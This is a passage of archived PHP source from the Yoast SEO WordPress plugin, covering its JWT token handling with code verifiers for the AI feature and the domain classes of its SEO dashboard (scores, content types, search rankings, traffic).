otherwise. */ public function is_expired( int $validity_in_seconds ): bool { return $this->created_at < ( \time() - $validity_in_seconds ); } } ai-authorization/domain/token.php000064400000001622152076257400013144 0ustar00value = $value; $this->expiration = $expiration; } /** * Get the token value. * * @return string The token value. */ public function get_value(): string { return $this->value; } /** * Whether the token is expired. * * @return bool True if the token is expired, false otherwise. */ public function is_expired(): bool { return $this->expiration < \time(); } } ai-authorization/application/code-verifier-handler-interface.php000064400000001410152076257400021147 0ustar00date_helper = $date_helper; $this->code_verifier_repository = $code_verifier_repository; $this->code_generator = $code_generator; } /** * Generate a code verifier for a user. * * @param string $user_email The user email. * * @return Code_Verifier The generated code verifier. */ public function generate( string $user_email ): Code_Verifier { $code = $this->code_generator->generate( $user_email ); $created_at = $this->date_helper->current_time(); return new Code_Verifier( $code, $created_at ); } /** * Validate the code verifier for a user. * * @param int $user_id The user ID. * * @return string The code verifier. * * @throws RuntimeException If the code verifier is expired or invalid. */ public function validate( int $user_id ): string { $code_verifier = $this->code_verifier_repository->get_code_verifier( $user_id ); if ( $code_verifier === null || $code_verifier->is_expired( self::VALIDITY_IN_SECONDS ) ) { $this->code_verifier_repository->delete_code_verifier( $user_id ); throw new RuntimeException( 'Code verifier has expired or is invalid.' ); } return $code_verifier->get_code(); } } ai-authorization/application/token-manager-interface.php000064400000011017152076257400017545 0ustar00access_token_repository = $access_token_repository; $this->code_verifier = $code_verifier; $this->consent_handler = $consent_handler; $this->refresh_token_repository = $refresh_token_repository; $this->user_helper = $user_helper; $this->request_handler = $request_handler; $this->code_verifier_repository = $code_verifier_repository; $this->urls = $urls; } // phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods. /** * Invalidates the access token. * * @param string $user_id The user ID. * * @return void * * @throws Bad_Request_Exception Bad_Request_Exception. * @throws Internal_Server_Error_Exception Internal_Server_Error_Exception. * @throws Not_Found_Exception Not_Found_Exception. * @throws Payment_Required_Exception Payment_Required_Exception. * @throws Request_Timeout_Exception Request_Timeout_Exception. * @throws Service_Unavailable_Exception Service_Unavailable_Exception. * @throws Too_Many_Requests_Exception Too_Many_Requests_Exception. * @throws RuntimeException Unable to retrieve the access token. */ public function token_invalidate( string $user_id ): void { try { $access_jwt = $this->access_token_repository->get_token( $user_id ); } catch ( RuntimeException $e ) { $access_jwt = ''; } $request_body = [ 'user_id' => (string) $user_id, ]; $request_headers = [ 'Authorization' => "Bearer $access_jwt", ]; try { $this->request_handler->handle( new Request( '/token/invalidate', $request_body, $request_headers, ), ); } catch ( Unauthorized_Exception | Forbidden_Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch -- Reason: Ignored on purpose. // If the credentials in our request were already invalid, our job is done and we continue to remove the tokens client-side. } // Delete the stored JWT tokens. $this->user_helper->delete_meta( $user_id, '_yoast_wpseo_ai_generator_access_jwt' ); $this->user_helper->delete_meta( $user_id, '_yoast_wpseo_ai_generator_refresh_jwt' ); } /** * Requests a new set of JWT tokens. * * Requests a new JWT access and refresh token for a user from the Yoast AI Service and stores it in the database * under usermeta. The storing of the token happens in a HTTP callback that is triggered by this request. * * @param WP_User $user The WP user. * * @return void * * @throws Bad_Request_Exception Bad_Request_Exception. * @throws Forbidden_Exception Forbidden_Exception. * @throws Internal_Server_Error_Exception Internal_Server_Error_Exception. * @throws Not_Found_Exception Not_Found_Exception. * @throws Payment_Required_Exception Payment_Required_Exception. * @throws Request_Timeout_Exception Request_Timeout_Exception. * @throws Service_Unavailable_Exception Service_Unavailable_Exception. * @throws Too_Many_Requests_Exception Too_Many_Requests_Exception. * @throws Unauthorized_Exception Unauthorized_Exception. */ public function token_request( WP_User $user ): void { // Ensure the user has given consent. if ( $this->user_helper->get_meta( $user->ID, '_yoast_wpseo_ai_consent', true ) !== '1' ) { // phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive. $this->consent_handler->revoke_consent( $user->ID ); throw new Forbidden_Exception( 'CONSENT_REVOKED', 403 ); // phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped } // Generate a code verifier and store it in the database. $code_verifier = $this->code_verifier->generate( $user->user_email ); $this->code_verifier_repository->store_code_verifier( $user->ID, $code_verifier->get_code(), $code_verifier->get_created_at() ); $request_body = [ 'service' => 'openai', 'code_challenge' => \hash( 'sha256', $code_verifier->get_code() ), 'license_site_url' => WPSEO_Utils::get_home_url(), 'user_id' => (string) $user->ID, 'callback_url' => $this->urls->get_callback_url(), 'refresh_callback_url' => $this->urls->get_refresh_callback_url(), ]; $this->request_handler->handle( new Request( '/token/request', $request_body ) ); // The callback saves the metadata. Because that is in another session, we need to delete the current cache here. Or we may get the old token. \wp_cache_delete( $user->ID, 'user_meta' ); } /** * Refreshes the JWT access token. * * Refreshes a stored JWT access token for a user with the Yoast AI Service and stores it in the database under * usermeta. The storing of the token happens in a HTTP callback that is triggered by this request. * * @param WP_User $user The WP user. * * @return void * * @throws Bad_Request_Exception Bad_Request_Exception. * @throws Forbidden_Exception Forbidden_Exception. * @throws Internal_Server_Error_Exception Internal_Server_Error_Exception. * @throws Not_Found_Exception Not_Found_Exception. * @throws Payment_Required_Exception Payment_Required_Exception. * @throws Request_Timeout_Exception Request_Timeout_Exception. * @throws Service_Unavailable_Exception Service_Unavailable_Exception. * @throws Too_Many_Requests_Exception Too_Many_Requests_Exception. * @throws Unauthorized_Exception Unauthorized_Exception. * @throws RuntimeException Unable to retrieve the refresh token. */ public function token_refresh( WP_User $user ): void { $refresh_jwt = $this->refresh_token_repository->get_token( $user->ID ); // Generate a code verifier and store it in the database. $code_verifier = $this->code_verifier->generate( $user->user_email ); $this->code_verifier_repository->store_code_verifier( $user->ID, $code_verifier->get_code(), $code_verifier->get_created_at() ); $request_body = [ 'code_challenge' => \hash( 'sha256', $code_verifier->get_code() ), ]; $request_headers = [ 'Authorization' => "Bearer $refresh_jwt", ]; $this->request_handler->handle( new Request( '/token/refresh', $request_body, $request_headers ) ); // The callback saves the metadata. Because that is in another session, we need to delete the current cache here. Or we may get the old token. \wp_cache_delete( $user->ID, 'user_meta' ); } /** * Checks whether the token has expired. * * @param string $jwt The JWT. * * @return bool Whether the token has expired. */ public function has_token_expired( string $jwt ): bool { $parts = \explode( '.', $jwt ); if ( \count( $parts ) !== 3 ) { // Headers, payload and signature parts are not detected. return true; } // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode -- Reason: Decoding the payload of the JWT. $payload = \base64_decode( $parts[1] ); $json = \json_decode( $payload ); if ( $json === null || ! isset( $json->exp ) ) { return true; } // Ensure exp is a valid numeric value. if ( ! \is_numeric( $json->exp ) ) { return true; } return $json->exp < \time(); } /** * Retrieves the access token. * * @param WP_User $user The WP user. * * @return string The access token. * * @throws Bad_Request_Exception Bad_Request_Exception. * @throws Forbidden_Exception Forbidden_Exception. * @throws Internal_Server_Error_Exception Internal_Server_Error_Exception. * @throws Not_Found_Exception Not_Found_Exception. * @throws Payment_Required_Exception Payment_Required_Exception. * @throws Request_Timeout_Exception Request_Timeout_Exception. * @throws Service_Unavailable_Exception Service_Unavailable_Exception. * @throws Too_Many_Requests_Exception Too_Many_Requests_Exception. * @throws Unauthorized_Exception Unauthorized_Exception. * @throws RuntimeException Unable to retrieve the access or refresh token. */ public function get_or_request_access_token( WP_User $user ): string { $access_jwt = $this->user_helper->get_meta( $user->ID, '_yoast_wpseo_ai_generator_access_jwt', true ); if ( ! \is_string( $access_jwt ) || $access_jwt === '' ) { $this->token_request( $user ); $access_jwt = $this->access_token_repository->get_token( $user->ID ); } elseif ( $this->has_token_expired( $access_jwt ) ) { try { $this->token_refresh( $user ); } catch ( Unauthorized_Exception $exception ) { $this->token_request( $user ); } catch ( Forbidden_Exception $exception ) { // Follow the API in the consent being revoked (Use case: user sent an e-mail to revoke?). // phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive. $this->consent_handler->revoke_consent( $user->ID ); throw new Forbidden_Exception( 'CONSENT_REVOKED', 403 ); // phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped } $access_jwt = $this->access_token_repository->get_token( $user->ID ); } return $access_jwt; } // phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber } ai-authorization/infrastructure/code-generator.php000064400000001217152076257410016534 0ustar00date_helper = $date_helper; $this->user_helper = $user_helper; } /** * Store the verification code for a user. * * @param int $user_id The user ID. * @param string $code The code verifier. * @param int $created_at The time the code was created. * * @return void */ public function store_code_verifier( int $user_id, string $code, int $created_at ): void { $this->user_helper->update_meta( $user_id, 'yoast_wpseo_ai_generator_code_verifier_for_blog_' . \get_current_blog_id(), [ 'code' => $code, 'created_at' => $created_at, ], ); } /** * Get the verification code for a user. * * @param int $user_id The user ID. * * @throws RuntimeException If the code verifier is not found or has expired. * @return Code_Verifier The verification code or null if not found. */ public function get_code_verifier( int $user_id ): ?Code_Verifier { $data = $this->user_helper->get_meta( $user_id, 'yoast_wpseo_ai_generator_code_verifier_for_blog_' . \get_current_blog_id(), true ); if ( ! \is_array( $data ) || ! isset( $data['code'] ) || $data['code'] === '' ) { throw new RuntimeException( 'Unable to retrieve the verification code.' ); } if ( ! isset( $data['created_at'] ) || $data['created_at'] < ( $this->date_helper->current_time() - self::CODE_VERIFIER_VALIDITY ) ) { $this->delete_code_verifier( $user_id ); throw new RuntimeException( 'Code verifier has expired.' ); } return new Code_Verifier( $data['code'], $data['created_at'] ); } /** * Delete the verification code for a user. * * @param int $user_id The user ID. * * @return void */ public function delete_code_verifier( int $user_id ): void { $this->user_helper->delete_meta( $user_id, 'yoast_wpseo_ai_generator_code_verifier_for_blog_' . \get_current_blog_id() ); } } ai-authorization/infrastructure/token-user-meta-repository-interface.php000064400000001312152076257410023025 0ustar00user_helper = $user_helper; } /** * Get the token for a user. * * @param int $user_id The user ID. * * @return string The token data. * * @throws RuntimeException If the token is not found or invalid. */ public function get_token( int $user_id ): string { $refresh_jwt = $this->user_helper->get_meta( $user_id, self::META_KEY, true ); if ( ! \is_string( $refresh_jwt ) || $refresh_jwt === '' ) { throw new RuntimeException( 'Unable to retrieve the refresh token.' ); } return $refresh_jwt; } /** * Store the token for a user. * * @param int $user_id The user ID. * @param string $value The token value. * * @return void */ public function store_token( int $user_id, string $value ): void { $this->user_helper->update_meta( $user_id, self::META_KEY, $value, ); } /** * Delete the token for a user. * * @param int $user_id The user ID. * * @return void */ public function delete_token( int $user_id ): void { $this->user_helper->delete_meta( $user_id, self::META_KEY ); } } ai-authorization/infrastructure/access-token-user-meta-repository.php000064400000003146152076257410022335 0ustar00user_helper = $user_helper; } /** * Get the token for a user. * * @param int $user_id The user ID. * * @return string The token data. * * @throws RuntimeException If the token is not found or invalid. */ public function get_token( int $user_id ): string { $access_jwt = $this->user_helper->get_meta( $user_id, self::META_KEY, true ); if ( ! \is_string( $access_jwt ) || $access_jwt === '' ) { throw new RuntimeException( 'Unable to retrieve the access token.' ); } return $access_jwt; } /** * Store the token for a user. * * @param int $user_id The user ID. * @param string $value The token value. * * @return void */ public function store_token( int $user_id, string $value ): void { $this->user_helper->update_meta( $user_id, self::META_KEY, $value, ); } /** * Delete the token for a user. * * @param int $user_id The user ID. * * @return void */ public function delete_token( int $user_id ): void { $this->user_helper->delete_meta( $user_id, self::META_KEY ); } } ai-authorization/infrastructure/refresh-token-user-meta-repository-interface.php000064400000000566152076257410024473 0ustar00 The conditionals. */ public static function get_conditionals() { return [ AI_Conditional::class ]; } /** * Callback_Route constructor. * * @param Access_Token_User_Meta_Repository_Interface $access_token_repository The access token repository instance. * @param Refresh_Token_User_Meta_Repository_Interface $refresh_token_repository The refresh token repository instance. * @param Code_Verifier_User_Meta_Repository_Interface $code_verifier_repository The code verifier instance. */ public function __construct( Access_Token_User_Meta_Repository_Interface $access_token_repository, Refresh_Token_User_Meta_Repository_Interface $refresh_token_repository, Code_Verifier_User_Meta_Repository_Interface $code_verifier_repository ) { $this->access_token_repository = $access_token_repository; $this->refresh_token_repository = $refresh_token_repository; $this->code_verifier_repository = $code_verifier_repository; } // phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods. /** * Runs the callback to store connection credentials and the tokens locally. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response The response of the callback action. * * @throws Unauthorized_Exception If the code challenge is not valid. * @throws RuntimeException If the verification code is not found. */ public function callback( WP_REST_Request $request ): WP_REST_Response { $user_id = $request->get_param( 'user_id' ); try { $code_verifier = $this->code_verifier_repository->get_code_verifier( $user_id ); if ( $request->get_param( 'code_challenge' ) !== \hash( 'sha256', $code_verifier->get_code() ) ) { throw new Unauthorized_Exception( 'Unauthorized' ); } $this->access_token_repository->store_token( $user_id, $request->get_param( 'access_jwt' ) ); $this->refresh_token_repository->store_token( $user_id, $request->get_param( 'refresh_jwt' ) ); $this->code_verifier_repository->delete_code_verifier( $user_id ); } catch ( Unauthorized_Exception | RuntimeException $e ) { return new WP_REST_Response( 'Unauthorized.', 401 ); } return new WP_REST_Response( [ 'message' => 'Tokens successfully stored.', 'code_verifier' => $code_verifier->get_code(), ], ); } // phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods. } ai-authorization/user-interface/callback-route.php000064400000003062152076257410016362 0ustar00 'POST', 'args' => [ 'access_jwt' => [ 'required' => true, 'type' => 'string', 'description' => 'The access JWT.', ], 'refresh_jwt' => [ 'required' => true, 'type' => 'string', 'description' => 'The JWT to be used when the access JWT needs to be refreshed.', ], 'code_challenge' => [ 'required' => true, 'type' => 'string', 'description' => 'The SHA266 of the verification code used to check the authenticity of a callback call.', ], 'user_id' => [ 'required' => true, 'type' => 'integer', 'description' => 'The id of the user associated to the code verifier.', ], ], 'callback' => [ $this, 'callback' ], 'permission_callback' => '__return_true', ], ); } } ai-authorization/user-interface/refresh-callback-route.php000064400000003102152076257420020012 0ustar00 'POST', 'args' => [ 'access_jwt' => [ 'required' => true, 'type' => 'string', 'description' => 'The access JWT.', ], 'refresh_jwt' => [ 'required' => true, 'type' => 'string', 'description' => 'The JWT to be used when the access JWT needs to be refreshed.', ], 'code_challenge' => [ 'required' => true, 'type' => 'string', 'description' => 'The SHA266 of the verification code used to check the authenticity of a callback call.', ], 'user_id' => [ 'required' => true, 'type' => 'integer', 'description' => 'The id of the user associated to the code verifier.', ], ], 'callback' => [ $this, 'callback' ], 'permission_callback' => '__return_true', ], ); } } dashboard/domain/score-results/score-result.php000064400000003065152076257420015732 0ustar00current_scores_list = $current_scores_list; $this->query_time = $query_time; $this->is_cached_used = $is_cached_used; } /** * Return this object represented by a key value array. * * @return array>>|float|bool> Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'scores' => $this->current_scores_list->to_array(), 'queryTime' => $this->query_time, 'cacheUsed' => $this->is_cached_used, ]; } } dashboard/domain/score-results/current-score.php000064400000004104152076257420016071 0ustar00|null */ private $links; /** * The constructor. * * @param string $name The name of the current score. * @param int $amount The amount of the current score. * @param string|null $ids The ids of the current score. * @param array|null $links The links of the current score. */ public function __construct( string $name, int $amount, ?string $ids = null, ?array $links = null ) { $this->name = $name; $this->amount = $amount; $this->ids = $ids; $this->links = $links; } /** * Gets name of the current score. * * @return string The name of the current score. */ public function get_name(): string { return $this->name; } /** * Gets the amount of the current score. * * @return int The amount of the current score. */ public function get_amount(): int { return $this->amount; } /** * Gets the ids of the current score. * * @return string|null The ids of the current score. */ public function get_ids(): ?string { return $this->ids; } /** * Gets the links of the current score in the expected key value representation. * * @return array The links of the current score in the expected key value representation. */ public function get_links_to_array(): ?array { $links = []; if ( $this->links === null ) { return $links; } foreach ( $this->links as $key => $link ) { if ( $link === null ) { continue; } $links[ $key ] = $link; } return $links; } } dashboard/domain/score-results/current-scores-list.php000064400000002536152076257420017234 0ustar00current_scores[ $position ] = $current_score; } /** * Parses the current score list to the expected key value representation. * * @return array>> The score list presented as the expected key value representation. */ public function to_array(): array { $array = []; \ksort( $this->current_scores ); foreach ( $this->current_scores as $key => $current_score ) { $array[] = [ 'name' => $current_score->get_name(), 'amount' => $current_score->get_amount(), 'links' => $current_score->get_links_to_array(), ]; if ( $current_score->get_ids() !== null ) { $array[ $key ]['ids'] = $current_score->get_ids(); } } return $array; } } dashboard/domain/score-results/score-results-not-found-exception.php000064400000000664152076257420022022 0ustar00 */ private $content_types = []; /** * Adds a content type to the list. * * @param Content_Type $content_type The content type to add. * * @return void */ public function add( Content_Type $content_type ): void { $this->content_types[ $content_type->get_name() ] = $content_type; } /** * Returns the content types in the list. * * @return array The content types in the list. */ public function get(): array { return $this->content_types; } /** * Parses the content type list to the expected key value representation. * * @return array>>>> The content type list presented as the expected key value representation. */ public function to_array(): array { $array = []; foreach ( $this->content_types as $content_type ) { $array[] = [ 'name' => $content_type->get_name(), 'label' => $content_type->get_label(), 'taxonomy' => ( $content_type->get_taxonomy() ) ? $content_type->get_taxonomy()->to_array() : null, ]; } return $array; } } dashboard/domain/content-types/content-type.php000064400000003365152076257450015744 0ustar00name = $name; $this->label = $label; $this->taxonomy = $taxonomy; } /** * Gets name of the content type. * * @return string The name of the content type. */ public function get_name(): string { return $this->name; } /** * Gets label of the content type. * * @return string The label of the content type. */ public function get_label(): string { return $this->label; } /** * Gets the taxonomy that filters the content type. * * @return Taxonomy|null The taxonomy that filters the content type. */ public function get_taxonomy(): ?Taxonomy { return $this->taxonomy; } /** * Sets the taxonomy that filters the content type. * * @param Taxonomy|null $taxonomy The taxonomy that filters the content type. * * @return void */ public function set_taxonomy( ?Taxonomy $taxonomy ): void { $this->taxonomy = $taxonomy; } } dashboard/domain/endpoint/endpoint-list.php000064400000001502152076257450015077 0ustar00 */ private $endpoints = []; /** * Adds an endpoint to the list. * * @param Endpoint_Interface $endpoint An endpoint. * * @return void */ public function add_endpoint( Endpoint_Interface $endpoint ): void { $this->endpoints[] = $endpoint; } /** * Converts the list to an array. * * @return array The array of endpoints. */ public function to_array(): array { $result = []; foreach ( $this->endpoints as $endpoint ) { $result[ $endpoint->get_name() ] = $endpoint->get_url(); } return $result; } } dashboard/domain/endpoint/endpoint-interface.php000064400000001057152076257450016071 0ustar00search_ranking_data = $search_ranking_data; $this->seo_score_group = $seo_score_group; $this->edit_link = $edit_link; } /** * The array representation of this domain object. * * @return array */ public function to_array(): array { $top_page_data = $this->search_ranking_data->to_array(); $top_page_data['seoScore'] = $this->seo_score_group->get_name(); $top_page_data['links'] = []; if ( $this->edit_link !== null ) { $top_page_data['links']['edit'] = $this->edit_link; } return $top_page_data; } } dashboard/domain/search-rankings/comparison-search-ranking-data.php000064400000005154152076257460021530 0ustar00current_search_ranking_data, $current_search_ranking_data ); } /** * Sets the previous search ranking data. * * @param Search_Ranking_Data $previous_search_ranking_data The previous search ranking data. * * @return void */ public function add_previous_traffic_data( Search_Ranking_Data $previous_search_ranking_data ): void { \array_push( $this->previous_search_ranking_data, $previous_search_ranking_data ); } /** * The array representation of this domain object. * * @return array> */ public function to_array(): array { return [ 'current' => $this->parse_data( $this->current_search_ranking_data ), 'previous' => $this->parse_data( $this->previous_search_ranking_data ), ]; } /** * Parses search ranking data into the expected format. * * @param Search_Ranking_Data[] $search_ranking_data The search ranking data to be parsed. * * @return array The parsed data */ private function parse_data( array $search_ranking_data ): array { $parsed_data = [ 'total_clicks' => 0, 'total_impressions' => 0, ]; $weighted_postion = 0; foreach ( $search_ranking_data as $search_ranking ) { $parsed_data['total_clicks'] += $search_ranking->get_clicks(); $parsed_data['total_impressions'] += $search_ranking->get_impressions(); $weighted_postion += ( $search_ranking->get_position() * $search_ranking->get_impressions() ); } if ( $parsed_data['total_impressions'] !== 0 ) { $parsed_data['average_ctr'] = ( $parsed_data['total_clicks'] / $parsed_data['total_impressions'] ); $parsed_data['average_position'] = ( $weighted_postion / $parsed_data['total_impressions'] ); } return $parsed_data; } } dashboard/domain/search-rankings/search-ranking-data.php000064400000004676152076257460017370 0ustar00clicks = $clicks; $this->ctr = $ctr; $this->impressions = $impressions; $this->position = $position; $this->subject = $subject; } /** * The array representation of this domain object. * * @return array */ public function to_array(): array { return [ 'clicks' => $this->clicks, 'ctr' => $this->ctr, 'impressions' => $this->impressions, 'position' => $this->position, 'subject' => $this->subject, ]; } /** * Gets the clicks. * * @return string The clicks. */ public function get_clicks(): string { return $this->clicks; } /** * Gets the click-through rate. * * @return string The click-through rate. */ public function get_ctr(): string { return $this->ctr; } /** * Gets the impressions. * * @return string The impressions. */ public function get_impressions(): string { return $this->impressions; } /** * Gets the position. * * @return string The position. */ public function get_position(): string { return $this->position; } /** * Gets the subject. * * @return string The subject. */ public function get_subject(): string { return $this->subject; } } dashboard/domain/taxonomies/taxonomy.php000064400000002523152076257460014537 0ustar00name = $name; $this->label = $label; $this->rest_url = $rest_url; } /** * Returns the name of the taxonomy. * * @return string The name of the taxonomy. */ public function get_name(): string { return $this->name; } /** * Parses the taxonomy to the expected key value representation. * * @return array> The taxonomy presented as the expected key value representation. */ public function to_array(): array { return [ 'name' => $this->name, 'label' => $this->label, 'links' => [ 'search' => $this->rest_url, ], ]; } } dashboard/domain/search-console/failed-request-exception.php000064400000001225152076257460020304 0ustar00 */ public function to_array(): array; } dashboard/domain/data-provider/parameters.php000064400000004744152076257460015406 0ustar00start_date; } /** * Getter for the end date. * The date format should be Y-M-D. * * @return string */ public function get_end_date(): string { return $this->end_date; } /** * Getter for the result limit. * * @return int */ public function get_limit(): int { return $this->limit; } /** * Getter for the compare start date. * * @return string */ public function get_compare_start_date(): ?string { return $this->compare_start_date; } /** * Getter for the compare end date. * The date format should be Y-M-D. * * @return string */ public function get_compare_end_date(): ?string { return $this->compare_end_date; } /** * The start date setter. * * @param string $start_date The start date. * * @return void */ public function set_start_date( string $start_date ): void { $this->start_date = $start_date; } /** * The end date setter. * * @param string $end_date The end date. * * @return void */ public function set_end_date( string $end_date ): void { $this->end_date = $end_date; } /** * The result limit. * * @param int $limit The result limit. * @return void */ public function set_limit( int $limit ): void { $this->limit = $limit; } /** * The compare start date setter. * * @param string $compare_start_date The compare start date. * * @return void */ public function set_compare_start_date( string $compare_start_date ): void { $this->compare_start_date = $compare_start_date; } /** * The compare end date setter. * * @param string $compare_end_date The compare end date. * * @return void */ public function set_compare_end_date( string $compare_end_date ): void { $this->compare_end_date = $compare_end_date; } } dashboard/domain/data-provider/data-container.php000064400000002046152076257460016125 0ustar00 */ private $data_container; /** * The constructor */ public function __construct() { $this->data_container = []; } /** * Method to add data. * * @param Data_Interface $data The data. * * @return void */ public function add_data( Data_Interface $data ) { $this->data_container[] = $data; } /** * Method to get all the data points. * * @return Data_Interface[] All the data points. */ public function get_data(): array { return $this->data_container; } /** * Converts the data points into an array. * * @return array The array of the data points. */ public function to_array(): array { $result = []; foreach ( $this->data_container as $data ) { $result[] = $data->to_array(); } return $result; } } dashboard/domain/data-provider/dashboard-repository-interface.php000064400000001034152076257470021333 0ustar00current_traffic_data = $current_traffic_data; $this->previous_traffic_data = $previous_traffic_data; } /** * Sets the current traffic data. * * @param Traffic_Data $current_traffic_data The current traffic data. * * @return void */ public function set_current_traffic_data( Traffic_Data $current_traffic_data ): void { $this->current_traffic_data = $current_traffic_data; } /** * Sets the previous traffic data. * * @param Traffic_Data $previous_traffic_data The previous traffic data. * * @return void */ public function set_previous_traffic_data( Traffic_Data $previous_traffic_data ): void { $this->previous_traffic_data = $previous_traffic_data; } /** * The array representation of this domain object. * * @return array */ public function to_array(): array { return [ 'current' => $this->current_traffic_data->to_array(), 'previous' => $this->previous_traffic_data->to_array(), ]; } } dashboard/domain/traffic/traffic-data.php000064400000002332152076257470014435 0ustar00 */ public function to_array(): array { $result = []; if ( $this->sessions !== null ) { $result['sessions'] = $this->sessions; } if ( $this->total_users !== null ) { $result['total_users'] = $this->total_users; } return $result; } /** * Sets the sessions. * * @param int $sessions The sessions. * * @return void */ public function set_sessions( int $sessions ): void { $this->sessions = $sessions; } /** * Sets the total users. * * @param int $total_users The total users. * * @return void */ public function set_total_users( int $total_users ): void { $this->total_users = $total_users; } } dashboard/domain/traffic/daily-traffic-data.php000064400000002203152076257470015532 0ustar00date = $date; $this->traffic_data = $traffic_data; } /** * The array representation of this domain object. * * @return array */ public function to_array(): array { $result = []; $result['date'] = $this->date; return \array_merge( $result, $this->traffic_data->to_array() ); } } dashboard/domain/time-based-seo-metrics/repository-not-found-exception.php000064400000000715152076257470023061 0ustar00setup_steps_tracking_repository = $setup_steps_tracking_repository; } /** * If the Site Kit setup widget has been loaded. * * @return string "yes" on "no". */ public function get_setup_widget_loaded(): string { return $this->setup_steps_tracking_repository->get_setup_steps_tracking_element( 'setup_widget_loaded' ); } /** * Gets the stage of the first interaction. * * @return string The stage name. */ public function get_first_interaction_stage(): string { return $this->setup_steps_tracking_repository->get_setup_steps_tracking_element( 'first_interaction_stage' ); } /** * Gets the stage of the last interaction. * * @return string The stage name. */ public function get_last_interaction_stage(): string { return $this->setup_steps_tracking_repository->get_setup_steps_tracking_element( 'last_interaction_stage' ); } /** * If the setup widget has been temporarily dismissed. * * @return string "yes" on "no". */ public function get_setup_widget_temporarily_dismissed(): string { return $this->setup_steps_tracking_repository->get_setup_steps_tracking_element( 'setup_widget_temporarily_dismissed' ); } /** * If the setup widget has been permanently dismissed. * * @return string "yes" on "no". */ public function get_setup_widget_permanently_dismissed(): string { return $this->setup_steps_tracking_repository->get_setup_steps_tracking_element( 'setup_widget_permanently_dismissed' ); } /** * Return this object represented by a key value array. * * @return array The tracking data */ public function to_array(): array { return [ 'setupWidgetLoaded' => $this->get_setup_widget_loaded(), 'firstInteractionStage' => $this->get_first_interaction_stage(), 'lastInteractionStage' => $this->get_last_interaction_stage(), 'setupWidgetTemporarilyDismissed' => $this->get_setup_widget_temporarily_dismissed(), 'setupWidgetPermanentlyDismissed' => $this->get_setup_widget_permanently_dismissed(), ]; } } dashboard/application/score-results/seo-score-results/seo-score-results-repository.php000064400000002212152076257470025546 0ustar00score_results_collector = $seo_score_results_collector; $this->score_groups = $seo_score_groups; } } dashboard/application/score-results/abstract-score-results-repository.php000064400000005272152076257470023176 0ustar00current_scores_repository = $current_scores_repository; } /** * Returns the score results for a content type. * * @param Content_Type $content_type The content type. * @param Taxonomy|null $taxonomy The taxonomy of the term we're filtering for. * @param int|null $term_id The ID of the term we're filtering for. * @param bool|null $is_troubleshooting Whether we're in troubleshooting mode. * * @return array>> The scores. * * @throws Exception When getting score results from the infrastructure fails. */ public function get_score_results( Content_Type $content_type, ?Taxonomy $taxonomy, ?int $term_id, ?bool $is_troubleshooting ): array { $score_results = $this->score_results_collector->get_score_results( $this->score_groups, $content_type, $term_id, $is_troubleshooting ); if ( $is_troubleshooting === true ) { $score_results['score_ids'] = clone $score_results['scores']; foreach ( $score_results['scores'] as &$score ) { $score = ( $score !== null ) ? \count( \explode( ',', $score ) ) : 0; } } $current_scores_list = $this->current_scores_repository->get_current_scores( $this->score_groups, $score_results, $content_type, $taxonomy, $term_id ); $score_result_object = new Score_Result( $current_scores_list, $score_results['query_time'], $score_results['cache_used'] ); return $score_result_object->to_array(); } } dashboard/application/score-results/current-scores-repository.php000064400000006224152076257470021537 0ustar00score_group_link_collector = $score_group_link_collector; } /** * Returns the current results. * * @param Score_Groups_Interface[] $score_groups The score groups. * @param array $score_results The score results. * @param Content_Type $content_type The content type. * @param Taxonomy|null $taxonomy The taxonomy of the term we're filtering for. * @param int|null $term_id The ID of the term we're filtering for. * * @return array>> The current results. */ public function get_current_scores( array $score_groups, array $score_results, Content_Type $content_type, ?Taxonomy $taxonomy, ?int $term_id ): Current_Scores_List { $current_scores_list = new Current_Scores_List(); foreach ( $score_groups as $score_group ) { $score_name = $score_group->get_name(); $current_score_links = $this->get_current_score_links( $score_group, $content_type, $taxonomy, $term_id ); $score_amount = (int) $score_results['scores']->$score_name; $score_ids = ( isset( $score_results['score_ids'] ) ) ? $score_results['score_ids']->$score_name : null; $current_score = new Current_Score( $score_name, $score_amount, $score_ids, $current_score_links ); $current_scores_list->add( $current_score, $score_group->get_position() ); } return $current_scores_list; } /** * Returns the links for the current scores of a score group. * * @param Score_Groups_Interface $score_group The scoure group. * @param Content_Type $content_type The content type. * @param Taxonomy|null $taxonomy The taxonomy of the term we're filtering for. * @param int|null $term_id The ID of the term we're filtering for. * * @return array The current score links. */ protected function get_current_score_links( Score_Groups_Interface $score_group, Content_Type $content_type, ?Taxonomy $taxonomy, ?int $term_id ): array { return [ 'view' => $this->score_group_link_collector->get_view_link( $score_group, $content_type, $taxonomy, $term_id ), ]; } } application/score-results/readability-score-results/readability-score-results-repository.php000064400000002442152076257510030675 0ustar00dashboardscore_results_collector = $readability_score_results_collector; $this->score_groups = $readability_score_groups; } } dashboard/application/endpoints/endpoints-repository.php000064400000001726152076257510017752 0ustar00 */ private $endpoints; /** * Constructs the repository. * * @param Endpoint_Interface ...$endpoints The endpoints to add to the repository. */ public function __construct( Endpoint_Interface ...$endpoints ) { $this->endpoints = $endpoints; } /** * Creates a list with all endpoints. * * @return Endpoint_List The list with all endpoints. */ public function get_all_endpoints(): Endpoint_List { $list = new Endpoint_List(); foreach ( $this->endpoints as $endpoint ) { $list->add_endpoint( $endpoint ); } return $list; } } dashboard/application/configuration/dashboard-configuration.php000064400000012770152076257510021173 0ustar00content_types_repository = $content_types_repository; $this->indexable_helper = $indexable_helper; $this->user_helper = $user_helper; $this->enabled_analysis_features_repository = $enabled_analysis_features_repository; $this->endpoints_repository = $endpoints_repository; $this->nonce_repository = $nonce_repository; $this->site_kit_integration_data = $site_kit_integration_data; $this->setup_steps_tracking = $setup_steps_tracking; $this->browser_cache_configuration = 